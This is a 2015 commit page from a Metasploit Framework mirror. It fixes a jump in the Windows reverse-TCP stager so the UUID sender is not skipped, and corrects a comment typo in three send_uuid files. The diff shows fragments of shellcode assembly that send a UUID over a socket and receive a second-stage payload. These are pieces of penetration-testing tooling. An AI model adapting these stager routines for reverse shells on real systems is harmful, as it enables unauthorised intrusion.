infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

don't jump past the uuid sender on win32/tcp connect

bug/bundler_fix
Brent Cook 2015-05-29 14:34:27 -05:00
parent 16bc08861a
commit 340792aae4
4 changed files with 7 additions and 5 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
lib/msf/core/payload/linux/send_uuid.rb
View File

@ -28,7 +28,7 @@ module Payload::Linux::SendUUID
push ecx ; store ecx for later push ecx ; store ecx for later
push 0 ; terminate the args array push 0 ; terminate the args array
push #{uuid_raw.length} ; length of the UUID push #{uuid_raw.length} ; length of the UUID
call get_uuid_address ; put uuid buffer on tehe stack call get_uuid_address ; put uuid buffer on the stack
db #{raw_to_db(uuid_raw)} ; UUID itself db #{raw_to_db(uuid_raw)} ; UUID itself
get_uuid_address: get_uuid_address:
push edi ; socket handle push edi ; socket handle

6
lib/msf/core/payload/windows/reverse_tcp.rb
View File

@ -177,11 +177,13 @@ module Payload::Windows::ReverseTcp
end end
=end =end
asm << %Q^
connected:
^
asm << asm_send_uuid if include_send_uuid asm << asm_send_uuid if include_send_uuid
asm << %Q^ asm << %Q^
connected:
recv: recv:
; Receive the size of the incoming second stage... ; Receive the size of the incoming second stage...
push 0 ; flags push 0 ; flags

2
lib/msf/core/payload/windows/send_uuid.rb
View File

@ -27,7 +27,7 @@ module Payload::Windows::SendUUID
send_uuid: send_uuid:
push 0 ; flags push 0 ; flags
push #{uuid_raw.length} ; length of the UUID push #{uuid_raw.length} ; length of the UUID
call get_uuid_address ; put uuid buffer on tehe stack call get_uuid_address ; put uuid buffer on the stack
db #{raw_to_db(uuid_raw)} ; UUID db #{raw_to_db(uuid_raw)} ; UUID
get_uuid_address: get_uuid_address:
push edi ; saved socket push edi ; saved socket

2
lib/msf/core/payload/windows/x64/send_uuid.rb
View File

@ -28,7 +28,7 @@ module Payload::Windows::SendUUID_x64
xor r9, r9 ; flags xor r9, r9 ; flags
push #{uuid_raw.length} ; length of the UUID push #{uuid_raw.length} ; length of the UUID
pop r8 pop r8
call get_uuid_address ; put uuid buffer on tehe stack call get_uuid_address ; put uuid buffer on the stack
db #{raw_to_db(uuid_raw)} ; UUID db #{raw_to_db(uuid_raw)} ; UUID
get_uuid_address: get_uuid_address:
pop rdx ; UUID address pop rdx ; UUID address